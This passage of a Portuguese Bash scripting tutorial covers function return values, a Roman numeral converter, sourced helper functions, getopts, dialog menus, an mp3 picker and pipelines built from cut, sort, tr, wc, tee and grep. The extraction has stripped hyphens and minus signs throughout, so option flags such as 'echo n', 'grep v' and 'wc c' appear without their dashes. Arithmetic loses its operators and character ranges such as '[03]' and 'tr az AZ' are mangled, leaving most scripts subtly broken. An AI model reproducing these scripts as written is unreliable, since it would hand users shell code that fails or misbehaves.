O return quando executado interrompe a execução da função e a execução passa para a instrução
imediatamente posterior a qual a função foi chamada;
O valor mais alto que uma função pode retornar é 256 e o mais baixo 0. Bem, é um número de
módulo grande. :P Se precisar de valores positivos maiores que 256 retorneo como negativo e
depois convertao para positivo novamente.
Se quer saber mais detalhes sobre funções o capítulo 23 do Advanced BashScripting Guide vai
lhe ser muito útil.
#!/bin/bash
#
# Código baseado em um do Advanced BashScripting Guide.
# Mais informações sobre este guia em http://www.linuxdoc.org
# Caso não entenda o código, faça um esforcinho! ;)
LIMITE=400
function romano {
NUM=$1
FATOR=$2
ROMAN=$3
Adbeel Goes Filho
ShellScripts 81
(( RESTO = $NUM $FATOR ))
while [ "$RESTO" ge 0 ]; do
echo n $ROMAN
(( NUM = $FATOR ))
(( RESTO = $NUM $FATOR ))
done
return $NUM
}
[ "$1" ] || {
echo "Uso: `basename $0` NUMERO"
exit 1
}
[ "$1" gt 400 ] && {
echo "$1 ultrapassa o limite de $LIMITE"
exit 1
}
NUMERO=$1
romano $NUMERO 100 C
NUMERO=$?
romano $NUMERO 90 XC
NUMERO=$?
romano $NUMERO 50 L
NUMERO=$?
romano $NUMERO 40 XL
NUMERO=$?
romano $NUMERO 10 X
NUMERO=$?
romano $NUMERO 9 IX
NUMERO=$?
romano $NUMERO 5 V
NUMERO=$?
romano $NUMERO 4 IV
NUMERO=$?
Adbeel Goes Filho
ShellScripts 82
romano $NUMERO 1 I
NUMERO=$?
echo
exit
É possível declarar função(ões) dentro de função.
5. Funções como comandos
Antes de começar vamos relembrar um conceito básico: quando se executa um shell
script você obtém o mesmo resultado que obteria se digitasse o conteúdo do script no prompt de um
shell. Com isso eu quero dizer que você pode fazer tudo que faz em um shell script na linha de
comando, inclusive criar e utilizar funções (que é o assunto deste tópico).
Na linha de comando você declara uma função da mesma maneira que faz num script.
Por exemplo, digite o seguinte na sua linha de comando:
function heko {
echo e "\e[5;1;32mHekodangews, para de enrolar a mina e casa logo! \e[m"
}
Agora quando você entrar com "heko" na linha de comando será impresso na tela um
recadinho para o Hekodangews numa corzinha verde e piscante superfashion. =)
Veja este outro exemplo um pouco mais útil:
function SetPath {
PATH=${PATH:="/bin:/usr/bin"}
for DIR in "$@"; do
if [ d "$DIR" ]; then
PATH="$PATH:$DIR"
else
echo "* * * Erro: $DIR nao eh um diretorio"
fi
done
export PATH
unset DIR
}
E se você tiver várias idéias de funções legais que queira usar sempre em suas sessões?
Vai ter que digitálas na linha de comando toda hora? Não! Para este propósito o comando "source"
pode ser muito útil (informações detalhadas na manpage do bash).
Lembrase quando disse "Quando executamos um shellscript ele é executado num shell
Adbeel Goes Filho
ShellScripts 83
a parte (shell filho)" ?. O comando source faz com que o script seja executado no shell pai, ou seja,
é como você estivesse digitando todo o conteúdo do arquivo na linha de comando. E isso é
especialmente útil quando temos arquivos com as nossas funções que queremos usar como
comandos.
Uma coisa legal de se fazer é colocar o arquivo com as funções que você quer usar num
arquivo oculto no seu $HOME (ex.: $HOME/.MyFunctions) e no seu $HOME/.bash_profile você
coloca uma linha com o comando "source $HOME/.MyFunctions".
Veja este arquivo com alguns exemplos de funções:
#!/bin/bash
#
# "INSTALAÇÃO":
# copie este arquivo para seu $HOME:
# [prompt]$ cp Mfunctions ~/.Mfunctions
#
# depois faça o seguinte:
# [prompt]$ echo ". ~/.Mfunctions" >> ~/.bash_profile
#
# Dê login novamente ou digite ". ~/.Mfunctions" e pronto.
# Agora é só digitar o nome da função.
#
# DICA: depois de corretamente instalada, use "M<tab><tab>"
# para ver as funções disponíveis.
#
# Funções disponíveis neste arquivo:
# + Mecho
# + Mcenter
# + Mclock
# + Mclock2
# + Msetpath
# + Mdica
# + Marrumanome
# + Mnocomments
# + Mcalcula
# + Mcores
#
# Aproveite!
# meleu
#
# P.S.: graças a esse tal de "open source" você pode ler
# um código e alterálo para que se adeque as suas
# necessidades eu que fique ao seu gosto. Pois foi
# isso que eu fiz aqui! Saí olhando as funções que
# outras pessoas fizeram e arrumei do meu jeito. E
Adbeel Goes Filho
ShellScripts 84
# a minha principal fonte foi o funcoeszz do aurélio.
# veja em: http://verde666.org/zz
#
# imprime em negrito
function Mecho {
echo e "\e[1m$*\e[m"
}
# imprime em negrito no centro da linha
function Mcenter {
local POS=$[ ( $COLUMNS `echo en "$*" | wc c` ) / 2 ]
Mecho "\e[${POS}C$*"
}
# deixa sempre no cantinho da primeira linha do console:
# "[ hora:minuto dia/mes/ano ]".
# Se houver algum processo em segundo plano (background) ele também indica.
# OBS.: nos emuladores de terminal em que eu testei só funcionou no xterm
# o rxvt não aceita os códigos de salvar e restaurar a posição do cursor
# (respectivamente "\e[s" e "\e[u").
function Mclock {
local CIANO="\e[1;36m"
local AMARELO="\e[1;33m"
local SCOR="\e[m"
alias DiaMesAno='date +'\''%H:%M %e/%m/%y'\'
PROMPT_COMMAND="
JOBS=\$(echo \$(jobs | wc l))
if [ \$JOBS ne 0 ]; then
HEADER=\"Jobs: \$JOBS \$(DiaMesAno)\"
else
HEADER=\"\$(DiaMesAno)\"
fi
POS=\$[ (\$COLUMNS \$(echo \"\$HEADER\" | wc c) ) 3 ]"
PS1="\[\e[s\e[1;0H\e[K\
\e[\$(echo n \$POS)C\
$CIANO[$AMARELO \$HEADER $CIANO]$SCOR\
\e[u\e[1A\]
$PS1"
echo e "\nMclock ativado!\n"
Adbeel Goes Filho
ShellScripts 85
# Parecido com o Mclock mas fica tudo escrito no centro da primeira linha
# e em um formato mais longo.
function Mclock2 {
local CIANO="\e[1;36m"
local AMARELO="\e[1;33m"
local SCOR="\e[0m"
alias Mdate='date +'\''%H:%M %A, %e %B %Y'\'
PROMPT_COMMAND="
JOBS=\$(echo \$(jobs | wc l))
if [ \$JOBS ne 0 ]; then
HEADER=\"Jobs: \$JOBS $(Mdate)\"
else
HEADER=\"\$(Mdate)\"
fi
POS=\$[ (\$COLUMNS \$(echo \"\$HEADER\" | wc c) ) / 2 ]"
PS1="\[\e[s\e[1;0H\e[K\
\e[\$(echo n \$POS)C\
$CIANO[$AMARELO \$HEADER $CIANO]$SCOR\
\e[u\e[1A\]
$PS1"
echo e "\nMclock2 ativado!\n"
# Adiciona um diretório na sua variável $PATH
function Msetpath {
local DIR
PATH=${PATH:="/bin:/usr/bin"}
[ $# eq 0 ] && { echo "PATH = $PATH"; return; }
for DIR in "$@"; do
if [ d "$DIR" ]; then
PATH="$DIR:$PATH"
else
echo "* * * Erro: $DIR não é um diretório"
continue
fi
Adbeel Goes Filho
ShellScripts 86
done
export PATH
}
# eu tenho no meu home um diretório dicas onde eu vou colocando
# dicas sobre programas diversos.
# o nome dos arquivos são iguais aos nomes dos programas, então
# quando eu me deparo com uma dica sobre o grep, por exemplo, eu
# faço:
# [prompt]$ cat dica_grep >> ~/grep
# esta função serve para visualizar as dicas
# OBS.: o aurélio que me deu ESTA dica do diretório "$HOME/dicas".
# valeu rapaz! ;)
function Mdica {
local DICASDIR=$HOME/dicas
[ "$1" ] || {
Mecho "Uso: Mdica [assunto]\n"
echo "Os assuntos disponíveis são:"
ls $DICASDIR
return
}
more $DICASDIR/$1
# renomeia os arquivos que possuem nomes com caracteres feiosos
# fazendo com que letras maiúsculas fiquem minúsculas;
# letras acentuadas fiquem a letra correspondente sem acento;
# e espaços em branco, símbolos e outras coisas feias fiquem
# underline '_'
function Marrumanome {
[ "$1" ] || {
Mecho "Erro: você precisa passar os arquivos que quer renomear";
echo 'Uso: Marrumanome arquivo1 [arquivoN ...]'
return 1
}
local FILE NINICIAL NFINAL DIR
for FILE in "$@"; do
[ f "$FILE" ] || continue
NINICIAL=`basename "$FILE"`
DIR=`dirname "$FILE"`
Adbeel Goes Filho
ShellScripts 87
NFINAL=`echo "$NINICIAL" | sed '
y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/
y/ÃãÀàÂâÄäÁáÈèÊêËëÉé/aaaaaaaaaaeeeeeeee/
y/ÌìÎîÏïÍíÕõÒòÔôÖöÓó/iiiiiiiioooooooooo/
y/ÙùÛûÜüÚúÇçÑñ/uuuuuuuuccnn/
s/^/_/
s/[^az09._]/_/g'`
[ "$NINICIAL" != "$NFINAL" ] && mv "$FILE" "$DIR/$NFINAL"
done
}
# visualiza um arquivo retirando linhas que comecem com um caractere
# de comentário (#) e linhas vazias (linhas com espaços não são vazias)
function Mnocomments {
[ "$1" ] || {
Mecho "Erro: falta argumentos"
echo "Uso: Mnocomments arquivo1 [arquivoN ...]"
return
}
# estou usando o more só por causa daqueles ":::::::" que aparecem
# quando é passado mais de um arquivo como parâmetro. ;)
more $@ | egrep v "^#|^$"
}
# faz cálculos usando o bc
# só pra não precisar ficar fazendo "echo <expressao> | bc" toda hora
function Mcalcula {
[ "$1" ] || {
Mecho "Erro: você precisa passar uma expressão"
echo "Uso: Mcalcula <expressão>"
echo "Exemplo: Mcalcula '4^2+3*(74)'"
return 1
}
# mude o valor de "scale" se quiser mais de duas casas decimais
echo "scale=2; $@" | bc
}
# mostra todas as cores do console e seus respectivos códigos.
# mais uma cortesia do aurélio
function Mcores {
for LETRA in `seq 0 7`; do
for BOLD in '' ';1'; do
for FUNDO in `seq 0 7`; do
Adbeel Goes Filho
ShellScripts 88
SEQ="4$FUNDO;3$LETRA"
echo ne "\e[$SEQ${BOLD}m $SEQ${BOLD: } \e[m"
done
echo
done
done
}
22.Tornando seu script amigável
Alguns comandos úteis que tornam seu script mais "userfriendly".
6. getopts
Este comando serve para permitir que você use parâmetros na linha de comando de
maneira mais eficiente que ficar usando as variáveis de posição de parâmetros ("$1", "$2"...).
Sua sintaxe é:
getopts 'CadeiaDeOpcoes' variavel
getopts 'ab:c' variavel
Você poderá usar os parâmetros 'a', 'b' ou 'c'. Note que 'b' é seguido de um ':', isso significa que 'b' é
um parâmetro que precisa de argumento. Este, por sua vez, é armazenado na variável OPTARG.
Mais detalhadamente, o getopts funciona assim (adaptado do "Teach Yourself Shell Programming in
24 Hours", veja Referências):
1. O getopts examina todos os argumentos da linha de comando procurando por argumentos que
comecem com o caractere ''.
2. Quando acha um argumento começado com '' o getopts procura em "CadeiaDeOpcoes" se tem
algum caractere que combine.
3. Se combinar com algum, "variavel" receberá este caractere, caso contrário "variavel" receberá
'?'.
4. Os passos 13 são repetidos até que todos os argumentos da linha de comando tenham sido
Adbeel Goes Filho
ShellScripts 89
lidos.
5. Quando acaba de ler todos os argumentos da linha de comando getops retorna um valor falso
(nãozero). Isto é útil para verificações em loops (como veremos no exemplo abaixo).
<++> BashScript/getopts.sh
#!/bin/bash
USAGE="Uso: `basename $0` [h] [n nome] [e email]"
[ $1 ] || { echo $USAGE ; exit 1 ; }
# observe que 'n' e 'e' precisam de argumentos
while getopts 'hn:e:' PARAMETRO; do
# atente para a utilidade do "case"! ;)
case $PARAMETRO in
h) echo n "
Script de exemplo de uso do \"getopts\".
Uso: `basename $0` [opções]
Onde as opções podem ser:
n nome imprime nome
e email imprime email
h exibe esta mensagem" ;;
n) NOME=$OPTARG ;;
e) EMAIL=$OPTARG ;;
*) echo n "Entre \"`basename $0` h\" para ajuda." ;;
esac
done
[ $NOME ] && echo $NOME
[ $EMAIL ] && echo $EMAIL
Adbeel Goes Filho
ShellScripts 90
23.dialog
O dialog não um comando específico do bash! Estou escrevendo sobre ele porque já vi
muita gente querendo informações.
O dialog serve para fazer caixas de diálogo, e a sintaxe básica é assim:
dialog [ opcoes de título ] opções da caixa
As opções de título são opcionais (por isso que elas estão entre colchetes. As de caixa
são obrigatórias. Para que você possa fazer agora uma apreciação visual do dialog tente o seguinte
comando:
dialog yesno "Caixa onde se se escolhe Yes ou No" 0 0
Existem vários tipos de caixas, a utilizada nesse comando é uma caixa do tipo "yesno".
Bem... isso foi só pra você dar uma admirada rápida no dialog. Agora vamos organizar as coisas,
vou explicar alguns parâmetros. Vá praticando cada um desses parâmetros e vendo o resultado.
Lembrese que as opções da caixa são obrigatórias!
* backtitle "texto"
Este parâmetro é para por um título "lá atrás". Tente dialog backtitle "Micro\$oft
Scandisk" yesno bla 0 0 e veja como o título que aparece lhe trará péssimas lembranças. =)
* title "texto"
Este vai ser o título da caixa de diálogo.
Agora vamos as opções de caixa, mas antes uma informação: Em todos os tipos de
caixas existem os argumentos "altura" e "largura" (que para abreviar, eu chamarei de "alt" e "larg"),
que (por incrível que pareça) servem para você determinar a altura e largura da caixa de diálogo. Se
você não tiver saco pra ficar contando quantos caracteres serão usados na caixa, use 0 para altura e
largura, assim a caixa terá um tamanho de acordo com texto utilizado.
* yesno "texto" alt larg
Faz uma caixa de diálogo com as opções "Yes" e "No". Se você escolher
"Yes" o dialog retorna 0, caso contrário, retorna 1.
* msgbox "texto" alt larg
Serve para mostrar uma mensagem e tem um botão de confirmação "OK". Quando você escolher
Adbeel Goes Filho
ShellScripts 91
"OK" o dialog retornará 0, e, assim como em todos os
outros tipos de caixas, você pode cancelar via tecla ESC, quando o dialog
retornará 255.
* inputbox "texto" alt larg [string de inicio]
Faz uma caixa de entrada de dados, se "string de inicio" for passada o campo de
entrada de dados será inicializado por esta string. Os botões são "OK" E "Cancel", o primeiro, se
selecionado, retorna 0 e o outro retorna 1. A string que você entrar será direcionada para a saída de
erro padrão, portanto, se você quer que isto seja gravado use redirecionamento de stderr (ver 3.3
Redirecionamento).
* textbox arquivo alt larg
É como se fosse um simples visualizador de arquivos texto. Use as setinhas do teclado
para se movimentar. Para pesquisar pra frente use '/' e para pesquisar pra trás use '?'.
* menu "texto" alt larg altdomenu item1 "descricao do item1" \ [ itemN "descricao do itemN" ]
Note que aquela '\' lá no final da linha significa que o comando continua na próxima
linha. Como o próprio nome diz, esse parâmetro é usado para fazer menus, como por exemplo
aquele do pppsetup (slackware) onde você escolhe qual o ttyS do seu modem. O item que for
escolhido será impresso em stderr. "OK" retorna 0 e "Cancel" retorna 1.
Veja um exemplo besta só pra ilustrar:
#!/bin/bash
FILE=/tmp/script$$
dialog title "Teste fuleiro da caixa de diálogo \"menu\"" \
menu "Qual comando você deseja executar?" 0 0 0 \
"pwd" "mostra o diretório atual" \
"ps aux" "lista os processos que estão sendo executados" \
"uname a" "exibe informações sobre o SO e a máquina local" \
"users" "lista os usuários que estão logados no momento" 2> $FILE
# Lembrese que o item escolhido será impresso em stderr. E repare
# acima que eu estou redirecionando stderr para um arquivo.
RET_VAL=$?
[ $RET_VAL eq 0 ] || { echo "Operação cancelada."; exit 1; }
sh $FILE
rm $FILE
Adbeel Goes Filho
ShellScripts 92
* checklist "texto" alt larg altdalista \
item1 "descricao do item1" status [ item2 "descricao do item2" status ]
Note novamente o caractere '\' fazendo o comando continuar na linha abaixo. Este tipo
de caixa é utilizado quando se quer fazer um menu onde podese escolher vários itens, você marca
os que deseja e dá "OK". Assim como o "menu", o(s) item(ns) que for(em) escolhido(s) serão
impressos em stderr. O parâmetro "status" serve para você deixar um determinado item selecionado
logo de início, seus valores podem ser "on" ou "off". Veja este exemplo bem interessante (oh!
finalmente um exemplo com alguma utilidade!) que usa muitos dos conceitos já ensinados até aqui,
se não entender releia o código:
Exemplo:
#!/bin/bash
#
# "Escolhedor" de mp3z feito para ilustrar o uso do 'dialog'
# no texto "Programação em BourneAgain Shell".
#
# Para utilizar este script é necessário ter instalado o mpg123.
#
# + OBS.: Se o nome de alguma mp3 for muito grande podem acontecer
# resultados bizarros... :/
# + OBS.II: Este script não "detecta" nome de mp3z que contenham
# espaços. Pois se detectasse também ocorreriam resultados bizarros.
#
# Feito por: meleu <meleu@meleu.cjb.net>
# mude a variável MP3DIR e descomentea para não
# precisar passar o diretório toda hora na linha
# de comando.
#MP3DIR="$HOME/mp3z/"
FILE="/tmp/mp3.$$"
NCOR="\e[m"
WHITE="\e[1m"
function AjudarSair {
echo "Tente \"`basename $0` h\" para ajuda."
exit $1
}
function ApagarSair {
rm $FILE
exit $1
Adbeel Goes Filho
ShellScripts 93
# óia o getopts aê gente! =)
while getopts 'd:n:h' OPCAO; do
case $OPCAO in
d) MP3DIR="$OPTARG" ;;
n) NOME="*$OPTARG" ;;
h) echo e "
${WHITE}* Meleu's mp3 escolheitor (Tabajara, Inc.)$NCOR
Uso: `basename $0` [d diretorio] [n nome] [h]
d diretorio diretório onde serão procuradas as mp3z
n nome nome que será procurado no diretório
h imprime esta mensagem
"
exit ;;
*) exit 1 ;;
esac
done
if [ z "$MP3DIR" ]; then
echo e "${WHITE}Você precisa indicar em qual diretório estão as mp3z.$NCOR"
AjudarSair 1
elif [ ! d "$MP3DIR" ]; then
echo e "$WHITE\"$MP3DIR\" não é um diretório.$NCOR"
AjudarSair 1
fi
cd "$MP3DIR"
LISTA=`/bin/ls 1 $NOME*.mp3 2>/dev/null | grep v ' '`
[ z "$LISTA" ] && {
echo e "${WHITE}Nenhuma mp3 foi encontrada em \"$MP3DIR\".$NCOR"
AjudarSair 1
}
CONT=1
dialog backtitle "Selecionador de mp3z" \
title "$MP3DIR" \
checklist "Escolha a música" 0 0 0 \
$(for ITEM in $LISTA ; do
echo "$ITEM" "$CONT" off
(( CONT++ ))
done) 2>> $FILE
Adbeel Goes Filho
ShellScripts 94
RET_VAL=$?
[ $RET_VAL ne 0 ] && { echo "Tchau!"; ApagarSair; }
# verificando se já existe um processo com o mpg123
MPGPID=`ps ax format pid,comm | grep mpg123 | cut c6`
[ $MPGPID ] && {
dialog backtitle "Selecionador de mp3z" \
title "O mpg123 JÁ ESTÁ SENDO USADO!" \
yesno "Deseja finalizálo para ouvir a sua lista?" 0 0
RET_VAL=$?
if [ $RET_VAL eq 0 ]; then
kill $MPGPID 2>/dev/null || {
echo e "${WHITE}Não foi possível finalizar o mpg123.$NCOR"
echo "Pode ser que outro usuário esteja utilizandoo."
ApagarSair 1
}
else
echo "Saindo..."
ApagarSair
fi
}
# o sleep é pra garantir que o /dev/dsp estará desocupado
sleep 1s
cat $FILE | xargs mpg123 2> /dev/null &
ApagarSair
# EoF #
* radiolist "texto" alt larg altdalista \
item1 "descricao do item1" status [ item2 "descricao do item2 status ]
Similar ao checklist porém aqui só se pode fazer uma escolha, quando você seleciona
um item desmarca outro.
Adbeel Goes Filho
ShellScripts 95
Capitulo 5. Comandos Avançados
1. cut
O Linux possui diversos comandos e, utilizando um em conjunto com o outro, você
acaba criando um comando novo e ainda mais poderoso. Abaixo mostrarei alguns comandos
misturados com outros e mostrando as saídas, assim será bem fácil de entender.
Preste atenção nestas duas linhas de comando:
1 cat /etc/services
2 cat /etc/services |more
O primeiro comando, jogará na tela o conteúdo do arquivo /etc/services.
O segundo jogará na tela o conteúdo do arquivo /etc/services, dividindo na tela de maneira que o
arquivo não fique rolando, assim podendo visualizar todo o arquivo e, de maneira que apertando
espaço ela vai rolando para baixo.
Utilizamos esse "more" quando o arquivo é muito grande, como já visto nos comandos
do Linux. Agora o importante é notar, que no segundo comando o que fazemos é usar o comando
cat, e jogar sua saída para o comando more, o por sua vez joga a saída na tela. Visto isso podemos
montar comandos muito interessantes, o qual juntaremos alguns comandos e no final sairá na tela o
resultado desejado.
Vamos pra um exemplo. Se quiséssemos pegar todos os usuários de um computador.
Faríamos o seguinte:
root@c0mb4t:/# cat etc/passwd
root:x:0:0::/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
Adbeel Goes Filho
ShellScripts 96
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
nobody:x:99:99:nobody:/:
c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash
Mas vimos aqui muita sujeira, então juntamos dois comando e veremos sua saída:
root@c0mb4t:/# cat etc/passwd |cut d: f1
root
bin
daemon
adm
lp
sync
shutdown
halt
mail
news
uucp
operator
games
ftp
mysql
gdm
nobody
c0mb4t
Aqui o comando cut corta o ':' (d: f1) onde o 'f' vem do inglês field. Assim deixa
somente a lista de usuários. Mas ainda não estamos satisfeitos, pois queremos em ordem alfabética,
então usaremos junto mais um comando, o sort.
root@c0mb4t:/# cat etc/passwd |cut d: f1| sort
adm
bin
c0mb4t
daemon
ftp
games
gdm
halt
lp
mail
mysql
news
Adbeel Goes Filho
ShellScripts 97
nobody
operator
root
shutdown
sync
uucp
Mas como sou chato, vou querer em ordem inversa, logo acrescentamos no sort o r.
root@c0mb4t:/# cat etc/passwd |cut d: f1| sort r
uucp
sync
shutdown
root
operator
nobody
news
mysql
mail
lp
halt
gdm
games
ftp
daemon
c0mb4t
bin
adm
Vamos dar um pause e ver o que está acontecendo:
cat etc/passwd |cut d: f1| sort r, onde:
cat etc/passwd = imprime na tela o arquivo /etc/passwd.
cut d: f1 = cortamos o primeiro : e o resto da direita.
sort r = ordenamos em ordem alfabética inversa a saída.
Notamos então, que o comando cat joga sua saída para o comando cut, que por sua vez
joga a saída para o comando sort que finalmente joga a saída na tela. Poderíamos ainda colocar o |
more, caso a tela ficasse pequena, ficando:
cat etc/passwd |cut d: f1| sort r |more
Agora, vamos pegar essa saída, e jogálas em letra maiúsculas, para melhor
visualização e para melhor aprendizado, certo? Neste caso usamos o comando tr.
root@c0mb4t:/# cat etc/passwd |cut d: f1| sort r| tr az AZ
Adbeel Goes Filho
ShellScripts 98
UUCP
SYNC
SHUTDOWN
ROOT
OPERATOR
NOBODY
NEWS
MYSQL
MAIL
LP
HALT
GDM
GAMES
FTP
DAEMON
C0MB4T
BIN
ADM
O comando tr, substituí as letras de 'a' a 'z' por 'A' até 'Z'.
Pronto, aqui está a lista de usuários em ordem alfabética inversa, em letras maiúsculas.
Mas que tal jogarmos a sua saída num arquivo chamado usuários?
root@c0mb4t:/# cat etc/passwd |cut d: f1| sort r| tr az AZ > /usuarios
O comando > grava em arquivo. assim o > /usuarios grava o saida, que no lugar de
jogar na tela, ela joga para um arquivo que chamei de /usuarios.
Para visualizar o arquivo, digitamos conforme já visto:
root@c0mb4t:/# cat /usuarios
UUCP
SYNC
SHUTDOWN
ROOT
OPERATOR
NOBODY
NEWS
MYSQL
MAIL
LP
HALT
GDM
GAMES
FTP
Adbeel Goes Filho
ShellScripts 99
DAEMON
C0MB4T
BIN
ADM
Pronto. Agora você já tem seu arquivo de usuários. :)
Outro comando muito interessante e que sempre usamos em conjunto é o comando
grep. Esse comando pega a saída de um comando e imprime ta tela apenas a linha o qual contém o
conteúdo desejado.
root@c0mb4t:/# cat etc/passwd |grep c0mb4t
c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash
root@c0mb4t:/# cat etc/passwd |grep bash
root:x:0:0::/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash
2. wc
Conta caracteres, palavras e linhas em arquivos.
Sintaxe:
wc [cwl] [arquivo ... ]
Exemplos:
$ wc c < cadastro
$ wc w texto1
$ wc l /etc/passwd
Opções:
• c Conta o número de caracteres
• w Conta o número de palavras
• l Conta o número de linhas
•
Por default, o comando sem opção, apresenta a saída com as três opções.
3. tee
Utilizado para gerar duas saídas simultâneas.
Sintaxe:
$ tee [ a ] [ arquivo ]
Adbeel Goes Filho
ShellScripts 100
Exemplos:
$ ls | tee arquivo | sort
$ ls | tee a arquivo | sort
O comando tee lê da entrada padrão e gera uma saída padrão e outra em um arquivo especificado. A
opção a é utilizada para adicionar em um arquivo já existente.
4. sort
Classifica e/ou intercala arquivos texto.
Sintaxe:
sort [opções] arquivo
$ sort < cadastro
$ sort nt: +2 < /etc/passwd
$ sort d cadastro
O comando sort é poderoso e flexível. As linhas de um arquivo ou campos do arquivo podem ser
classificados de diversas maneiras. Algumas opções do comando sort:
• r Inverte o sentido da classificação
• f Iguala letras maiúsculas e minúsculas na comparação
• n Indica que a comparação deve ser de valor numérico
• u Elimina as linhas com chaves duplicadas
• tX Indica que o caracter X é o delimitador de campos
• m Executa a intercalação de arquivos já classificados
• +posi posf Indica chave de classificação, posi é a posição inicial e posf a posição final
• o arq Indica que arq será a saída do comando
Exemplos:
Considerando o arquivo cadastro com os campos código, nome e cep:
00006Jose 20000010
00003Maria 20000015
00005Antonio 20000009
00002Pedro 20000002
00004Carlos 20000002
00001Zelia 20000011
Classificação crescente do campo código:
$ sort +0.0 0.5 cadastro
Classificação inversa do campo nome:
Adbeel Goes Filho
ShellScripts 101
$ sort r +0.5 0.15 cadastro
Classificação crescente do campo cep e também do campo nome
$ sort +0.20 0.28 +0.5 0.15 cadastro
Considerando o arquivo /etc/passwd, que possui o delimitador de campo :
Classificação crescente por nome de usuário, gerando a saída no arquivo saida.srt
$ sort o saida.srt t: +0 1 /etc/passwd
Classificação por grupo e também por nome
$ sort t: n +3 4 +0 1 /etc/passwd
5. grep
Agora teremos um breve tutorial sobre o Grep. Ele não é somente um dos comandos
mais úteis, mas o seu domínio abre portas para dominar outros poderosos comandos, como o sed
(que trataremos na próxima aula) , awk, perl, etc. Eu fiz uma adaptação/ modificação de um tutorial
que eu tenho, e por sinal é excelente, sobre o Grep e Expressões Regulares em
inglês. Espero que tenha ficado legal e vocês gostem.
O que ele faz ?
O grep basicamente faz buscas. Mais precisamente:
grep palavra file retorna todas as linhas do arquivo file que contenham palavra.
Outro jeito de usar o grep é através de pipe (lembram dos pipes?).
Por exemplo:
ls | grep palavra
Lista todos os arquivos que contenham palavra em seu nome. Ou seja, a entrada do grep é uma lista
de arquivos (gerada pelo ls) que será filtrada, sendo impressas somente as linhas que contenham
palavra.
Usando caracteres coringas
Suponho que todos saibam o que são caracteres coringas. Caso contrário, coringas são
caracteres especiais que substituem outros. Geralmente o caracter "*" é um coringa que significa
"qualquer caracter em qualquer quantidade". Por isso se a gente executar "ls *", onde "*" entra no
lugar do "nome do arquivo", significando qualquer string de qualquer tamanho. Por isso ele lista
todos os arquivos.
Mas agora voltemos ao grep. Será que ele aceita coringas ? A resposta é mais do que
sim. O grep suporta algo que vai além de coringas, ele suporta Expressões Regulares. Mas vamos
começar apenas com coringas. Um dos mais usados com o grep é o "."
Vamos a um exemplo:
Adbeel Goes Filho
ShellScripts 102
>cat file
>grep b.g
file
big
big
bad bug
bad bug
bigger
bigger
boogy
Note que boogy não casa, desde que "." significa "qualquer e apenas um caracter". Para
significar strings arbitrárias utilizamos "*", que funciona da seguinte maneira:
"A expressão consistindo de um caracter seguido por um * casa com qualquer número (inclusive
zero) de repetições desse caracter. Em particular, ".*" significa qualquer string."
Para compreendermos vamos a mais exemplos:
>cat file
big
bad bug
bag
bigger
boogy>grep b.*g file
big
bad bug
bag
bigger
boogy>grep b.*g. File
bigger
boogy>grep ggg* file
bigger
Avançando para expressões regulares
Os coringas são o começo, mas a idéia vai mais longe. Por exemplo, suponha que
queremos uma expressão que case com Frederic Smith ou Fred Smith, ou seja, a string "eric" é
opcional. Primeiro, introduzimos o conceito de um "caracter escapado (escaped character)".
"Um caracter escapado é um caracter precedido por uma barra invertida ( \ ). Essa barra invertida
faz o seguinte: (a) Remove qualquer significado especial do caracter. (b) acrescenta um significado
especial a um caracter que não tenha um significado especial."
Parece complicado, mas veja nos exemplo que é um tanto quanto simples:
Para procurar uma linha contento o texto "hello.gif", o comando correto seria:
grep 'hello\.gif' file
Desde que "grep 'hello.gif' file" iria resultar linhas contendo: hello gif , hello1gif ,
Adbeel Goes Filho
ShellScripts 103
helloagif , etc. Ou seja, a barra invertida remove o significado especial do ".", passando esse a
significar um simples ponto ao invés de um coringa. Agora vamos passar para expressões
agrupadas, a fim de encontrar um jeito de criar uma expressão que case com Frederic ou Fred.
Primeiro vamos começar com o operador "?":
"Uma expressão consistindo de caracter seguido por uma interrogação escapada ( \? ) casa com zero
ou uma instância daquele caracter".
Exemplo:
"bugg\?y" casa com o seguinte: bugy , buggy mas não com bugggy
virtvs@mucuripe:~$ echo bugy | grep "bugg\?y" bugy
virtvs@mucuripe:~$ echo bugggy | grep "bugg\?y"
virtvs@mucuripe:~$
Agora vamos para expressões agrupadas. No nosso exemplo, queremos tornar opcional a string
"eric" após "Fred", ou seja, não apenas um caracter mas sim um conjunto de caracteres (string).
"Uma expressão dentro de parênteses escapados é tratada como um único caracter"
Exemplos:
"Fred\(eric\)\?" Smith casa com "Fred Smith" or "Frederic Smith" \(abc\)* casa com abc ,
abcabcabc, etc (isto é, qualquer número de repetições da string "abc", incluindo zero).
Note que temos que tomar cuidado quando nossas expressões contém espaços em
branco. Quando eles aparecem, precisamos colocar a expressão entre aspas, para que o shell não
interprete mal nosso comando. Para o exemplo acima:
grep "Fred\(eric\)\? Smith" file
Eu aconselho fortemente a sempre usar aspas, mesmo que não usemos espaços em
brancos. Já tive muita dor de cabeça porque expressões e comandos não funcionavam simplesmente
por não estarem entre aspas. Um dos exemplo acima (o do bugg\?y) não
funciona no meu sistema se não estiver entre aspas. Veja:
virtvs@mucuripe:~$ echo bugy | grep "bugg\?y"
bugy
virtvs@mucuripe:~$ echo bugy | grep bugg\?y
virtvs@mucuripe:~$
Outros operadores úteis
Para casar algum caracter de uma lista, use [ ] Veja:
"[Hh]ello" casa com linhas contendo
"hello" ou "Hello"
Faixas de caracteres também são permitidos:
Adbeel Goes Filho
ShellScripts 104
[03] é o mesmo que [0123]
